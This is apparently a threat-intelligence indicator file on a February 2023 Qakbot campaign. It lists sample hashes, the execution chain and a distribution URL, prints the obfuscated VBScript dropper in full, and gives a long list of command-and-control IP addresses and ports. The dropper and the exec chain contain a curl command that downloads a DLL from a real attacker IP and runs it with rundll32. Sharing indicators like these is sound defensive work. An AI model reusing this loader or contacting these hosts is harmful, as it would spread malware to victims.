-
Notifications
You must be signed in to change notification settings - Fork 30
/
Copy pathQakbot_BB15_17.02.2023.txt
175 lines (155 loc) · 3.48 KB
/
Qakbot_BB15_17.02.2023.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
15.02.2023 | Qakbot | BB15 | Campaign 1676480611 | Version 404.528
*************************************************
.one f8360776618ae88f15187275a0222863ad44565568a71e02626a0ff351e3ef9a - item.one
.hta 7427d5bcdd548f6bc47b6f776f1f157e23619be3814d3da7c0f0e234306fb39a
.dll 6f99171c95a8ed5d056eeb9234dbbee123a6f95f481ad0e0a966abd2844f0e1a
*************************************************
Exec >
ONENOTE.EXE C:\Users\Admin\AppData\Local\Temp\item.one
WScript.exe C:\Users\Admin\AppData\Local\Temp\Open.wsf
cmd.exe /c curl -o fd.dll http://64.225.8.202/1Moch7/160223 && rundll32 fd.dll,N115
*************************************************
.dll distro urls
http://64.225.8.202/1Moch7/160223/fd.dll
*************************************************
wsf script >>
<job id="AlterClassic">
<script language="VBScript">
Dim r
r = "p"
r = r & "oWE"
r = r & "r"
r = r & "s"
r = r & "HE"
r = r & "L"
Dim d
d = "-"
Dim q
q = "w"
q = "i" & q
Dim u
u = ":"
CreateObject("WScript.Shell").Run "cmd.exe /c " & "curl -o fd.dll http://64.225.8.202/1Moch7/160223 && rundll32 fd.dll,N115",6
</script>
</job>
*************************************************
c2's
71.52.53.166:443
12.172.173.82:32101
142.182.109.233:2222
151.65.224.211:443
81.229.117.95:2222
72.88.245.71:443
69.133.162.35:443
107.146.12.26:2222
84.219.213.130:6881
173.178.151.233:443
62.35.100.38:443
92.154.17.149:2222
181.164.217.211:443
209.140.8.70:443
93.24.192.142:20
213.31.90.183:2222
82.127.204.82:2222
198.2.51.242:993
94.105.123.142:443
88.111.182.118:2222
41.228.236.143:995
76.170.252.153:995
73.161.176.218:443
76.64.202.44:2222
75.143.236.149:443
85.61.165.153:2222
181.118.206.65:995
122.184.143.82:443
98.145.23.67:443
72.80.94.230:443
50.68.204.71:443
162.248.14.107:443
75.98.154.19:443
86.130.9.232:2222
85.241.180.94:443
91.170.115.68:32100
136.35.241.159:443
109.150.179.236:2222
73.29.92.128:443
72.203.216.98:2222
190.206.75.58:2222
66.35.126.223:2222
12.172.173.82:50001
35.143.97.145:995
174.104.184.149:443
24.228.132.224:2222
12.172.173.82:995
70.27.104.2:2222
86.207.227.152:2222
109.11.175.42:2222
24.206.27.39:443
12.172.173.82:2087
85.74.149.3:2222
98.147.155.235:443
24.69.84.237:443
83.7.53.157:443
87.221.197.113:2222
67.187.130.101:443
12.172.173.82:20
172.248.42.122:443
84.35.26.14:995
12.172.173.82:465
50.68.204.71:993
12.172.173.82:21
12.172.173.82:990
45.50.233.214:443
47.34.30.133:443
93.156.99.48:443
97.93.192.2:2083
210.84.30.161:443
98.22.28.34:995
77.86.98.236:443
24.239.69.244:443
68.108.122.180:443
173.18.126.3:443
156.216.125.255:995
24.71.120.191:443
95.150.121.151:443
73.165.119.20:443
72.188.121.121:443
98.163.227.79:443
90.104.22.28:2222
74.33.196.114:443
121.121.100.207:995
81.157.227.223:2222
149.74.159.67:2222
92.27.86.48:2222
213.67.255.57:2222
193.253.100.236:2222
47.149.78.242:443
94.30.98.134:32100
89.152.120.181:443
86.188.32.131:443
72.194.232.94:443
85.231.105.49:2222
75.156.125.215:995
47.21.51.138:443
90.165.109.4:2222
201.142.207.183:443
70.51.153.37:2222
2.13.73.146:2222
91.254.132.23:443
86.96.72.139:2222
188.83.248.76:443
64.237.185.60:443
104.35.24.154:443
201.244.108.183:995
184.176.35.223:2222
190.11.198.75:443
82.212.115.188:443
205.164.227.222:443
217.128.91.196:2222
88.126.94.4:50000
37.14.229.220:2222
27.109.19.90:2078
208.180.17.32:2222
86.250.12.217:2222
103.12.133.134:2222
98.37.25.99:443